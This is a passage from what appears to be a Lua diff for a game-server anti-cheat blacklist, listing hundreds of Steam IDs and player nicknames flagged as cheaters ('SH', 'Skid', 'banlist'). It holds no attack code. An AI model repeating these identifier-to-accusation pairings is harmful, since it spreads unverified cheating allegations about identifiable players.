{Name = "M1ZFIT", SH = true}, + ["STEAM_0:0:20928928"] = {Name = "Al Capone", SH = true}, + ["STEAM_0:0:27362367"] = {Name = "Black Jesus", SH = true}, + ["STEAM_0:1:25032393"] = {Name = "shockwave513/iParadox", SH = true}, + ["STEAM_0:1:46113191"] = {Name = "billsanders19/hexxus", SH = true}, + ["STEAM_0:0:26325520"] = {Name = "Hemi", SH = true}, + ["STEAM_0:1:5166810"] = {Name = "highlander2607", SH = true}, + ["STEAM_0:0:36440764"] = {Name = "ulysyss", SH = true}, + ["STEAM_0:0:24542076"] = {Name = "zurchi123/Zurchi", SH = true}, + ["STEAM_0:1:26853786"] = {Name = "vellawashere/vellawashere", SH = true}, + ["STEAM_0:0:4268664"] = {Name = "mizzhpnotiq/Supremacy", SH = true}, + ["STEAM_0:1:47029807"] = {Name = "r3tardedboi/g0thic/sodafiz10", SH = true}, + ["STEAM_0:0:31909554"] = {name = "50grands/Plushy", SH = true}, + ["STEAM_0:1:6788895"] = {Name = "nughuffer/phuzzz", SH = true}, + ["STEAM_0:0:41799917"] = {Name = "someone4958/Orfen", SH = true}, + ["STEAM_0:1:20318952"] = {Name = "harut702/nvenergy", SH = true}, + ["STEAM_0:0:38893214"] = {Name = "malteersej123/nicki0676", SH = true}, + ["STEAM_0:0:31372055"] = {Name = "nachtmaere/NachtMaere", SH = true}, + ["STEAM_0:1:12412908"] = {Name = "corystraka/mster_93", SH = true}, + ["STEAM_0:0:28307108"] = {Name = "heinserver/MrShizzle", SH = true}, + ["STEAM_0:1:26736765"] = {Name = "temponinja/Mathias242", SH = true}, + ["STEAM_0:0:48430247"] = {Name = "lwinks/Lemmi", SH = true}, + ["STEAM_0:0:10089448"] = {Name = "kris114", SH = true}, + ["STEAM_0:0:33575136"] = {Name = "fbto4", SH = true}, + ["STEAM_0:0:28229396"] = {Name = "SS.Soulreaper[Sec.]", SH = true}, + ["STEAM_0:1:47659657"] = {Name = "BobbyHO", SH = true}, + ["STEAM_0:0:26511409"] = {Name = "Jaxzte", SH = true}, + ["STEAM_0:1:37022131"] = {Name = "Gregy", SH = true}, + ["STEAM_0:1:47574863"] = {Name = "raffghan", SH = true}, + ["STEAM_0:1:3472333"] = {SH = true}, + ["STEAM_0:1:31505802"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:0:39163312"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:20099256"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:22395794"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:26149157"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:40740032"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:0:37589369 "] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:20099256"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:22395794"] = {Name = "Cheaters.cfg", SH = true}, + ["STEAM_0:1:27062980"] = {Name = "naldonali", SH = true}, + ["STEAM_0:1:22143785"] = {SH = true}, + ["STEAM_0:0:47477583"] = {SH = true}, + ["STEAM_0:1:19525838"] = {SH = true}, + ["STEAM_0:1:47403831"] = {SH = true}, + ["STEAM_0:0:25268506"] = {SH = true}, + ["STEAM_0:0:44978020"] = {SH = true}, + ["STEAM_0:0:28581801"] = {SH = true}, + ["STEAM_0:1:33687499"] = {Name = "sebzilla", SH = true}, + ["STEAM_0:0:35034428"] = {SH = true}, + ["STEAM_0:1:699216"] = {SH = true}, + ["STEAM_0:1:42186117"] = {SH = true}, + ["STEAM_0:1:33518480"] = {SH = true}, + ["STEAM_0:1:19896283"] = {SH = true}, + ["STEAM_0:1:44677843"] = {SH = true}, + ["STEAM_0:0:32800137"] = {SH = true}, + ["STEAM_0:0:23751500"] = {SH = true}, + ["STEAM_0:0:42701927"] = {SH = true}, + ["STEAM_0:1:25015916"] = {SH = true}, + ["STEAM_0:0:25348067"] = {SH = true}, + ["STEAM_0:0:47850821"] = {Name = "wzrd", SH = true}, + ["STEAM_0:1:22562649"] = {SH = true}, + ["STEAM_0:1:32024708"] = {SH = true}, + ["STEAM_0:1:20394702"] = {SH = true}, + ["STEAM_0:0:18780887"] = {SH = true}, + ["STEAM_0:0:35626266"] = {SH = true}, + ["STEAM_0:1:21196163"] = {SH = true}, + ["STEAM_0:0:6908073"] = {SH = true}, + ["STEAM_0:0:17730605"] = {SH = true}, + ["STEAM_0:1:20327511"] = {SH = true}, + ["STEAM_0:1:17041504"] = {SH = true}, + ["STEAM_0:0:15351737"] = {SH = true}, + ["STEAM_0:1:27090208"] = {SH = true}, + ["STEAM_0:1:17095407"] = {SH = true}, + ["STEAM_0:0:14218119"] = {SH = true}, + ["STEAM_0:0:21878708"] = {SH = true}, + ["STEAM_0:1:24365429"] = {SH = true}, + ["STEAM_0:0:37989029"] = {SH = true}, + ["STEAM_0:1:22010666"] = {SH = true}, + ["STEAM_0:0:35693267"] = {SH = true}, + ["STEAM_0:1:12226152"] = {SH = true}, + ["STEAM_0:0:27068832"] = {SH = true}, + ["STEAM_0:1:24429786"] = {SH = true}, + ["STEAM_0:0:16487722"] = {SH = true}, + ["STEAM_0:0:10770437"] = {SH = true}, + ["STEAM_0:1:40922503"] = {SH = true}, + ["STEAM_0:0:24379062"] = {SH = true}, + ["STEAM_0:0:17616994"] = {SH = true}, + ["STEAM_0:0:21809923"] = {SH = true}, + ["STEAM_0:0:25993862"] = {SH = true}, + ["STEAM_0:1:11445558"] = {SH = true}, + ["STEAM_0:0:37919749"] = {SH = true}, + ["STEAM_0:0:13983114"] = {SH = true}, + ["STEAM_0:1:26161522"] = {SH = true}, + ["STEAM_0:1:43680868"] = {SH = true}, + ["STEAM_0:1:29957855"] = {SH = true}, + ["STEAM_0:0:48861304"] = {SH = true}, + ["STEAM_0:0:35978616"] = {SH = true}, + ["STEAM_0:1:13142739"] = {SH = true}, + ["STEAM_0:1:32988394"] = {SH = true}, + ["STEAM_0:1:38418099"] = {SH = true}, + ["STEAM_0:0:47772765"] = {SH = true}, + ["STEAM_0:0:19878867"] = {SH = true}, + ["STEAM_0:0:43706051"] = {SH = true}, + ["STEAM_0:0:28182488"] = {SH = true}, + ["STEAM_0:0:26870982"] = {SH = true}, + ["STEAM_0:1:19775116"] = {SH = true}, + ["STEAM_0:0:26325272"] = {SH = true}, + ["STEAM_0:1:36452221"] = {SH = true}, + ["STEAM_0:1:11648578"] = {SH = true}, + ["STEAM_0:1:19853895"] = {SH = true}, + ["STEAM_0:0:46066 "] = {SH = true}, + ["STEAM_0:1:24283095"] = {SH = true}, + ["STEAM_0:0:31219365"] = {SH = true}, + ["STEAM_0:1:3084246"] = {SH = true}, + ["STEAM_0:0:43988463"] = {SH = true}, + ["STEAM_0:0:19938980"] = {SH = true}, + ["STEAM_0:0:29493653"] = {SH = true}, + ["STEAM_0:0:31618055"] = {Name = "xheter", SH = true}, + ["STEAM_0:0:5976660"] = {SH = true}, + ["STEAM_0:1:26845403"] = {SH = true}, + ["STEAM_0:1:32779827"] = {SH = true}, + ["STEAM_0:0:45680214"] = {SH = true}, + ["STEAM_0:0:32816200"] = {SH = true}, + ["STEAM_0:0:31700656"] = {SH = true}, + ["STEAM_0:1:14496711"] = {SH = true}, + ["STEAM_0:0:40143824"] = {Name = "Tyler main", SH = true}, + ["STEAM_0:0:22193301"] = {SH = true}, + ["STEAM_0:0:17413058"] = {SH = true}, + ["STEAM_0:1:29318515"] = {Name = "dicethir13", SH = true}, + ["STEAM_0:1:43834910"] = {SH = true}, + ["STEAM_0:1:12681987"] = {SH = true}, + ["STEAM_0:0:37727265"] = {SH = true}, + ["STEAM_0:0:27969040"] = {SH = true}, + ["STEAM_0:1:10756509"] = {SH = true}, + ["STEAM_0:1:25946562"] = {SH = true}, + ["STEAM_0:0:41645488"] = {SH = true}, + ["STEAM_0:1:30107073"] = {SH = true}, + ["STEAM_0:1:10951517"] = {SH = true}, + ["STEAM_0:0:43200946"] = {SH = true}, + ["STEAM_0:0:24940422"] = {SH = true}, + ["STEAM_0:1:19484019"] = {Name = "Cheezrguy", SH = true}, + ["STEAM_0:0:6008944"] = {SH = true}, + ["STEAM_0:0:12180686"] = {SH = true}, + ["STEAM_0:1:29374611"] = {Name = "Zach", SH = true}, + ["STEAM_0:1:37602703"] = {SH = true}, + ["STEAM_0:1:45424776"] = {SH = true}, + ["STEAM_0:0:11602053"] = {SH = true}, + ["STEAM_0:0:42306595"] = {SH = true}, + ["STEAM_0:1:11736063"] = {Name = "/FL-TPK Static", SH = true}, + ["STEAM_0:1:33321018"] = {SH = true}, + ["STEAM_0:1:20161163"] = {Name = "Uber", SH = true}, + ["STEAM_0:1:32890178"] = {SH = true}, + ["STEAM_0:0:29351959"] = {SH = true}, + ["STEAM_0:1:33316540"] = {SH = true}, + ["STEAM_0:0:30623995"] = {SH = true}, + ["STEAM_0:0:16443706"] = {SH = true}, + ["STEAM_0:0:19326995"] = {Name = "CryoShocked", SH = true}, + ["STEAM_0:1:15130452"] = {SH = true}, + ["STEAM_0:1:43977202"] = {SH = true}, + ["STEAM_0:1:33708353"] = {SH = true}, + ["STEAM_0:1:29131992"] = {SH = true}, + ["STEAM_0:1:16602699"] = {Name = "Apples", SH = true}, + ["STEAM_0:1:26344770"] = {SH = true}, + ["STEAM_0:0:40337315"] = {SH = true}, + ["STEAM_0:1:35841551"] = {SH = true}, + ["STEAM_0:1:12965434"] = {SH = true}, + ["STEAM_0:1:33289438"] = {SH = true}, + ["STEAM_0:0:15651747"] = {SH = true}, + ["STEAM_0:1:11183998"] = {SH = true}, + ["STEAM_0:0:33176714"] = {SH = true}, + ["STEAM_0:0:17473851"] = {Name = "Yuurei", SH = true}, + ["STEAM_0:0:28183970"] = {Name = "Mercury", SH = true}, + ["STEAM_0:0:21956401"] = {Name = "YouCOOL", SH = true}, + ["STEAM_0:0:26749210"] = {SH = true}, + ["STEAM_0:0:17488508"] = {SH = true}, + ["STEAM_0:1:6665394"] = {SH = true}, + ["STEAM_0:0:19155668"] = {SH = true}, + ["STEAM_0:1:20382405"] = {Name = "Yes!", SH = true}, + ["STEAM_0:0:40842961"] = {SH = true}, + ["STEAM_0:0:19809010"] = {SH = true}, + ["STEAM_0:0:24510676"] = {SH = true}, + ["STEAM_0:1:37836545"] = {SH = true}, + ["STEAM_0:0:10839552"] = {SH = true}, + ["STEAM_0:1:19916837"] = {SH = true}, + ["STEAM_0:0:20896216"] = {SH = true}, + ["STEAM_0:0:38271231"] = {SH = true}, + ["STEAM_0:0:26526813"] = {Name = "adonisg", SH = true}, + ["STEAM_0:1:37475407"] = {SH = true}, + ["STEAM_0:0:3051020"] = {SH = true}, + ["STEAM_0:0:20326946"] = {SH = true}, + ["STEAM_0:0:34404474"] = {SH = true}, + ["STEAM_0:1:6832210"] = {SH = true}, + ["STEAM_0:0:1873230"] = {SH = true}, + ["STEAM_0:1:9562715"] = {SH = true}, + ["STEAM_0:1:43969722"] = {Name = "Gabbo", SH = true}, + ["STEAM_0:0:9578624"] = {SH = true}, + ["STEAM_0:1:10457218"] = {SH = true}, + ["STEAM_0:0:21538724"] = {SH = true}, + ["STEAM_0:1:34494278"] = {SH = true}, + ["STEAM_0:0:31615557"] = {SH = true}, + ["STEAM_0:0:36820593"] = {SH = true}, + ["STEAM_0:1:20122224"] = {SH = true}, + ["STEAM_0:1:15998850"] = {SH = true}, + ["STEAM_0:1:48308696"] = {Name = "Marmaduke The Hamster", SH = true}, + ["STEAM_0:1:34051928"] = {SH = true}, + ["STEAM_0:0:43502697"] = {SH = true}, + ["STEAM_0:1:21006704"] = {SH = true}, + ["STEAM_0:0:25869397"] = {Name = "aidan", SH = true}, + ["STEAM_0:1:44781337"] = {SH = true}, + ["STEAM_0:1:22519569"] = {Name = "Master", SH = true}, + ["STEAM_0:1:21555783"] = {SH = true}, + ["STEAM_0:1:45743887"] = {Name = "Chase", SH = true}, + ["STEAM_0:0:27281484"] = {SH = true}, + ["STEAM_0:0:40161943"] = {SH = true}, + ["STEAM_0:0:19019776"] = {SH = true}, + ["STEAM_0:1:32540524"] = {SH = true}, + ["STEAM_0:1:43739862"] = {SH = true}, + ["STEAM_0:0:48289801"] = {Name = "Spawn", SH = true}, + ["STEAM_0:0:3597677"] = {SH = true}, + ["STEAM_0:1:22728174"] = {SH = true}, + ["STEAM_0:0:30887565"] = {Name = "RodNET", SH = true}, + ["STEAM_0:0:24388264"] = {Name = "Dorkslayz", SH = true}, + ["STEAM_0:0:46901883"] = {SH = true}, + ["STEAM_0:1:22308446"] = {SH = true}, + ["STEAM_0:1:25961258"] = {Name = "GameBro", SH = true}, + ["STEAM_0:0:39101463"] = {Name = "Loweski", SH = true}, + ["STEAM_0:0:17715947"] = {SH = true}, + ["STEAM_0:0:21322956"] = {SH = true}, + ["STEAM_0:0:18039563"] = {SH = true}, + ["STEAM_0:1:22857859"] = {SH = true}, + ["STEAM_0:0:33891807"] = {SH = true}, + ["STEAM_0:1:24410516"] = {SH = true}, + ["STEAM_0:1:42061868"] = {SH = true}, + ["STEAM_0:1:32188768"] = {SH = true}, + ["STEAM_0:0:23109221"] = {SH = true}, + ["STEAM_0:1:20368103"] = {SH = true}, + ["STEAM_0:1:20754655"] = {SH = true}, + ["STEAM_0:1:23836998"] = {SH = true}, + ["STEAM_0:0:9666313"] = {SH = true}, + ["STEAM_0:1:2566326"] = {SH = true}, + ["STEAM_0:1:33804755"] = {SH = true}, + ["STEAM_0:0:630053"] = {SH = true}, + ["STEAM_0:0:47967881"] = {SH = true}, + ["STEAM_0:0:29608803"] = {SH = true}, + ["STEAM_0:0:13789991"] = {SH = true}, + ["STEAM_0:0:27413348"] = {SH = true}, + ["STEAM_0:1:29826193"] = {SH = true}, + ["STEAM_0:0:26745412"] = {SH = true}, + ["STEAM_0:0:11151054"] = {SH = true}, + ["STEAM_0:1:42871254"] = {SH = true}, + ["STEAM_0:1:24452164"] = {SH = true}, + ["STEAM_0:0:29221911"] = {SH = true}, + ["STEAM_0:0:34143111"] = {SH = true}, + ["STEAM_0:1:28692773"] = {SH = true}, + ["STEAM_0:1:13737877"] = {Name = "Tiger Diaz", SH = true}, + ["STEAM_0:1:19807342"] = {Name = "mare", SH = true}, + ["STEAM_0:1:20388450"] = {SH = true}, + ["STEAM_0:0:19356922"] = {SH = true}, + ["STEAM_0:0:24213184"] = {SH = true}, + ["STEAM_0:0:24663823"] = {Name = "Edit", SH = true}, + ["STEAM_0:0:48625300"] = {SH = true}, + ["STEAM_0:1:14299044"] = {SH = true}, + ["STEAM_0:0:16625735"] = {SH = true}, + ["STEAM_0:1:24711568"] = {SH = true}, + ["STEAM_0:0:42475015"] = {SH = true}, + ["STEAM_0:1:15217338"] = {SH = true}, + ["STEAM_0:0:1114530"] = {SH = true}, + ["STEAM_0:0:19051000"] = {SH = true}, + ["STEAM_0:0:21444604"] = {SH = true}, + ["STEAM_0:0:24235484"] = {SH = true}, + ["STEAM_0:1:27290983"] = {SH = true}, + ["STEAM_0:0:7382018"] = {SH = true}, + ["STEAM_0:0:23783780"] = {SH = true}, + ["STEAM_0:1:17174283"] = {SH = true}, + ["STEAM_0:0:14610316"] = {SH = true}, + ["STEAM_0:1:12098715"] = {SH = true}, + ["STEAM_0:1:38224022"] = {SH = true}, + ["STEAM_0:1:19224720"] = {SH = true}, + ["STEAM_0:1:24435842"] = {SH = true}, + ["STEAM_0:1:22390206"] = {SH = true}, + ["STEAM_0:0:22954333"] = {SH = true}, + ["STEAM_0:1:30047963"] = {Name = "--kingzy", SH = true}, + ["STEAM_0:0:34899925"] = {SH = true}, + ["STEAM_0:1:37173161"] = {SH = true}, + ["STEAM_0:0:20018582"] = {SH = true}, + ["STEAM_0:0:25714657"] = {Name = "Rainbow Dash", SH = true}, + ["STEAM_0:1:28207569"] = {SH = true}, + ["STEAM_0:1:30665992"] = {SH = true}, + ["STEAM_0:1:47222322"] = {Name = "zac_zac_zac", SH = true}, + ["STEAM_0:1:38572580"] = {SH = true}, + ["STEAM_0:0:25687098"] = {SH = true}, + ["STEAM_0:0:38035563"] = {SH = true}, + ["STEAM_0:0:36684923"] = {SH = true}, + ["STEAM_0:1:42922839"] = {SH = true}, + ["STEAM_0:0:46481061"] = {SH = true}, + ["STEAM_0:1:2471156"] = {SH = true}, + ["STEAM_0:0:11084994"] = {SH = true}, + ["STEAM_0:1:21779583"] = {SH = true}, + ["STEAM_0:0:19038701"] = {SH = true}, + ["STEAM_0:1:12355332"] = {Name = "HeinKein [ALT]", SH = true}, + ["STEAM_0:1:26452550"] = {SH = true}, + ["STEAM_0:1:15757583"] = {SH = true}, + ["STEAM_0:1:10487209"] = {SH = true}, + ["STEAM_0:0:30714265"] = {SH = true}, + ["STEAM_0:1:1217175"] = {SH = true}, + ["STEAM_0:1:12110199"] = {SH = true}, + ["STEAM_0:0:15492378"] = {SH = true}, + ["STEAM_0:0:37588513"] = {SH = true}, + ["STEAM_0:0:32221326"] = {SH = true}, + ["STEAM_0:1:25608913"] = {SH = true}, + ["STEAM_0:0:25512219"] = {SH = true}, + ["STEAM_0:0:43716939"] = {SH = true}, + ["STEAM_0:0:39618012"] = {Name = "phoon", SH = true}, + ["STEAM_0:1:29688941"] = {SH = true}, + ["STEAM_0:0:32144549"] = {SH = true}, + ["STEAM_0:0:34175835"] = {SH = true}, + ["STEAM_0:0:23599000"] = {SH = true}, + ["STEAM_0:0:23888757"] = {SH = true}, + ["STEAM_0:1:30918162"] = {SH = true}, + ["STEAM_0:0:39233961"] = {SH = true}, + ["STEAM_0:1:31052706"] = {SH = true}, + ["STEAM_0:0:48926883"] = {Name = "Tyler alt", SH = true}, + ["STEAM_0:0:20088064"] = {SH = true}, + ["STEAM_0:0:24893931"] = {SH = true}, + ["STEAM_0:1:18704943"] = {SH = true}, + ["STEAM_0:0:19919807"] = {SH = true}, + ["STEAM_0:0:16265413"] = {SH = true}, + ["STEAM_0:0:18355021"] = {SH = true}, + ["STEAM_0:1:23240412"] = {SH = true}, + ["STEAM_0:1:37018013"] = {SH = true}, + ["STEAM_0:1:18606489"] = {SH = true}, + ["STEAM_0:1:39945838"] = {SH = true}, + ["STEAM_0:0:40475929"] = {SH = true}, + ["STEAM_0:0:26594171"] = {Name = "Sixpix", SH = true}, + ["STEAM_0:1:13402942"] = {SH = true}, + ["STEAM_0:0:24542833"] = {SH = true}, + ["STEAM_0:1:44644164"] = {SH = true}, + ["STEAM_0:1:11340452"] = {SH = true}, + ["STEAM_0:1:14133131"] = {SH = true}, + ["STEAM_0:0:39817531"] = {SH = true}, + ["STEAM_0:1:28606506"] = {SH = true}, + ["STEAM_0:0:2294681"] = {SH = true}, + ["STEAM_0:1:22119869"] = {Name = "deer", SH = true}, + ["STEAM_0:0:25270338"] = {SH = true}, + ["STEAM_0:0:25158284"] = {SH = true}, + ["STEAM_0:0:22624979"] = {SH = true}, + ["STEAM_0:0:33944948"] = {Name = "maxdavis1", SH = true}, + ["STEAM_0:0:42055458"] = {SH = true}, + ["STEAM_0:1:11726504"] = {SH = true}, + ["STEAM_0:1:41152155"] = {SH = true}, + ["STEAM_0:0:24318831"] = {SH = true}, + ["STEAM_0:0:14160421"] = {SH = true}, + ["STEAM_0:1:37962455"] = {SH = true}, + ["STEAM_0:1:47585786"] = {SH = true}, + ["STEAM_0:0:43358000"] = {Name = "isnipeu1337", SH = true}, + ["STEAM_0:1:26949104"] = {SH = true}, + ["STEAM_0:1:20690416"] = {Name = "Loke_skonken", SH = true}, + ["STEAM_0:0:26312585"] = {SH = true}, + ["STEAM_0:0:17141267"] = {SH = true}, + ["STEAM_0:1:12151307"] = {SH = true}, + ["STEAM_0:0:30231250"] = {SH = true}, + ["STEAM_0:1:14220841"] = {SH = true}, + ["STEAM_0:0:30939823"] = {SH = true}, + ["STEAM_0:0:30763145"] = {SH = true}, + ["STEAM_0:0:37589369"] = {SH = true}, + ["STEAM_0:0:8742065"] = {SH = true}, + ["STEAM_0:1:18013016"] = {SH = true}, + ["STEAM_0:1:30433726"] = {SH = true}, + ["STEAM_0:1:28822567"] = {SH = true}, + ["STEAM_0:1:7761442"] = {SH = true}, + ["STEAM_0:1:11427632"] = {Name = "SnoopDogg", SH = true}, + ["STEAM_0:1:7749131"] = {SH = true}, + ["STEAM_0:0:16163543"] = {SH = true}, + ["STEAM_0:0:27533033"] = {SH = true}, + ["STEAM_0:0:2293618"] = {SH = true}, + ["STEAM_0:1:43675285"] = {SH = true}, + ["STEAM_0:1:20911886"] = {Name = "pkillX", SH = true}, + ["STEAM_0:1:22860119"] = {SH = true}, + ["STEAM_0:0:3251161"] = {SH = true}, + ["STEAM_0:0:41802"] = {SH = true}, + ["STEAM_0:0:31127072"] = {SH = true}, + ["STEAM_0:0:14239858"] = {SH = true}, + ["STEAM_0:1:36541794"] = {SH = true}, + ["STEAM_0:0:16151265"] = {SH = true}, + ["STEAM_0:1:17510845"] = {SH = true}, + ["STEAM_0:1:5638617"] = {SH = true}, + ["STEAM_0:1:42115332"] = {SH = true}, + ["STEAM_0:1:19907912"] = {SH = true}, + ["STEAM_0:0:34929088"] = {Name = "S-K-Y-L-I-N-E-R", SH = true}, + ["STEAM_0:0:44719051"] = {SH = true}, + ["STEAM_0:1:18011105"] = {SH = true}, + ["STEAM_0:0:27566975"] = {SH = true}, + ["STEAM_0:0:40105997"] = {SH = true}, + ["STEAM_0:0:17322202"] = {SH = true}, + ["STEAM_0:0:34052885"] = {SH = true}, + ["STEAM_0:0:14691590"] = {SH = true}, + ["STEAM_0:0:25914952"] = {SH = true}, + ["STEAM_0:1:41231090"] = {SH = true}, + ["STEAM_0:0:28961696"] = {SH = true}, + ["STEAM_0:0:25345204"] = {SH = true}, + ["STEAM_0:1:18503351"] = {SH = true}, + ["STEAM_0:1:17394951"] = {Name = "Stan", SH = true}, + ["STEAM_0:1:16650255"] = {SH = true}, + ["STEAM_0:0:4601430"] = {SH = true}, + ["STEAM_0:0:27284598"] = {SH = true}, + ["STEAM_0:0:20261135"] = {SH = true}, + ["STEAM_0:1:17119446"] = {SH = true}, + ["STEAM_0:0:42375950"] = {SH = true}, + ["STEAM_0:0:1569545"] = {SH = true}, + ["STEAM_0:0:38727026"] = {SH = true}, + ["STEAM_0:0:23397918"] = {SH = true}, + ["STEAM_0:0:39875597"] = {SH = true}, + ["STEAM_0:0:31519875"] = {SH = true}, + ["STEAM_0:1:42239129"] = {SH = true}, + ["STEAM_0:1:36831604"] = {SH = true}, + ["STEAM_0:1:21421892"] = {SH = true}, + ["STEAM_0:1:15671127"] = {SH = true}, + ["STEAM_0:0:20738123"] = {SH = true}, + ["STEAM_0:1:33947987"] = {SH = true}, + ["STEAM_0:0:31109435"] = {SH = true}, + ["STEAM_0:1:22097298"] = {SH = true}, + ["STEAM_0:0:16287121"] = {SH = true}, + ["STEAM_0:1:34861960"] = {SH = true}, + ["STEAM_0:0:19402729"] = {SH = true}, + ["STEAM_0:1:15465879"] = {SH = true}, + ["STEAM_0:0:42082653"] = {SH = true}, + ["STEAM_0:0:21640864"] = {SH = true}, + ["STEAM_0:0:31211320"] = {SH = true}, + ["STEAM_0:0:42185993"] = {SH = true}, + ["STEAM_0:0:20327999"] = {SH = true}, + ["STEAM_0:0:16212192"] = {Name = "amity Mike", SH = true}, + ["STEAM_0:1:38471187"] = {SH = true}, + ["STEAM_0:0:6049044"] = {SH = true}, + ["STEAM_0:1:9679654"] = {SH = true}, + ["STEAM_0:0:32892400"] = {Name = "Trav0405", SH = true}, + ["STEAM_0:1:23860062"] = {SH = true}, + ["STEAM_0:1:24298133"] = {SH = true}, + ["STEAM_0:0:6188564"] = {Name = "Mucaeman", SH = true}, + ["STEAM_0:0:18159008"] = {SH = true}, + ["STEAM_0:1:21603250"] = {SH = true}, + ["STEAM_0:0:8406038"] = {SH = true}, + ["STEAM_0:1:44179686"] = {SH = true}, + ["STEAM_0:0:40352700"] = {SH = true}, + ["STEAM_0:1:18655301"] = {SH = true}, + ["STEAM_0:0:40211920"] = {Name = "Pep1103", SH = true}, + ["STEAM_0:0:32211033"] = {SH = true}, + ["STEAM_0:0:6019839"] = {SH = true}, + ["STEAM_0:0:30256551"] = {SH = true}, + ["STEAM_0:1:12076432"] = {SH = true}, + ["STEAM_0:1:44138147"] = {SH = true}, + ["STEAM_0:0:20924001"] = {SH = true}, + ["STEAM_0:1:31811639"] = {SH = true}, + ["STEAM_0:1:43589272"] = {SH = true}, + ["STEAM_0:0:13171952"] = {SH = true}, + ["STEAM_0:1:14736268"] = {SH = true}, + ["STEAM_0:0:16180568"] = {SH = true}, + ["STEAM_0:0:37803458"] = {SH = true}, + ["STEAM_0:0:31991429"] = {SH = true}, + ["STEAM_0:0:19318165"] = {SH = true}, + ["STEAM_0:0:16764526"] = {SH = true}, + ["STEAM_0:1:29478760"] = {SH = true}, + ["STEAM_0:1:28741409"] = {SH = true}, + ["STEAM_0:0:20375790"] = {SH = true}, + ["STEAM_0:0:1462964"] = {SH = true}, + ["STEAM_0:0:44029436"] = {SH = true}, + ["STEAM_0:1:28342224"] = {SH = true}, + ["STEAM_0:1:19812177"] = {SH = true}, + ["STEAM_0:1:7880281"] = {SH = true}, + ["STEAM_0:0:20914137"] = {SH = true}, + ["STEAM_0:1:24563693"] = {Name = "factorymark", SH = true}, + ["STEAM_0:0:36205580"] = {SH = true}, + ["STEAM_0:0:42075936"] = {SH = true}, + ["STEAM_0:1:14864726"] = {SH = true}, + ["STEAM_0:1:19487854"] = {SH = true}, + ["STEAM_0:1:22293020"] = {SH = true}, + ["STEAM_0:1:9281513"] = {SH = true}, + ["STEAM_0:1:13222876"] = {SH = true}, + ["STEAM_0:0:26845704"] = {SH = true}, + ["STEAM_0:1:22090954"] = {SH = true}, + ["STEAM_0:1:40421851"] = {SH = true}, + ["STEAM_0:0:27126215"] = {SH = true}, + ["STEAM_0:1:10419221"] = {SH = true}, + ["STEAM_0:1:17796623"] = {SH = true}, + ["STEAM_0:0:26339823"] = {SH = true}, + ["STEAM_0:1:34087705"] = {SH = true}, + ["STEAM_0:1:40407732"] = {Name = "CryoShocked", SH = true}, + ["STEAM_0:1:24769606"] = {SH = true}, + ["STEAM_0:0:36742559"] = {SH = true}, + ["STEAM_0:1:24413062"] = {SH = true}, + ["STEAM_0:1:25725691"] = {SH = true}, + ["STEAM_0:1:23359101"] = {SH = true}, + ["STEAM_0:1:22689778"] = {SH = true}, + ["STEAM_0:0:39712792"] = {Name = "FuttBucker", SH = true}, + ["STEAM_0:0:18921858"] = {SH = true}, + ["STEAM_0:1:35038611"] = {SH = true}, +} + + + +Bulk = { + ["STEAM_0:1:34909620"] = {Name = "billyfoster", Skid = true}, + ["STEAM_0:1:18534117"] = {Name = "relyt414", Skid = true}, + ["STEAM_0:0:47674314"] = {Name = "xttgxpoisonx", Skid = true}, + ["STEAM_0:1:43859626"] = {Name = "Spider Man Man Man", Skid = true}, + ["STEAM_0:0:25159057"] = {Skid = true}, + ["STEAM_0:1:39724060"] = {Name = "dagalexus", Skid = true}, + ["STEAM_0:1:53856451"] = {Name = "laurens1710d", Skid = true}, + ["STEAM_0:0:12446046"] = {Name = "bbgun30", Skid = true}, + ["STEAM_0:1:38706401"] = {Name = "Mikethanh", Skid = true}, + ["STEAM_0:1:38736664"] = {Name = "k0nr4d99", Skid = true}, + + ["STEAM_0:0:18005134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39670975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26299900"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33710519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25934945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38161418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24148378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34545745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36424342"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19793410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29958294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9420667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18737836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33790093"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19771922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37690671"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37837622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45773916"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37511026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20303838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29761674"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34439266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15901137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:51458768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20671272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30231041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19784536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7308244"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:313243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29522540"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33825464"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18071840"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26266349"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31944106"] = {Name = "banlist: 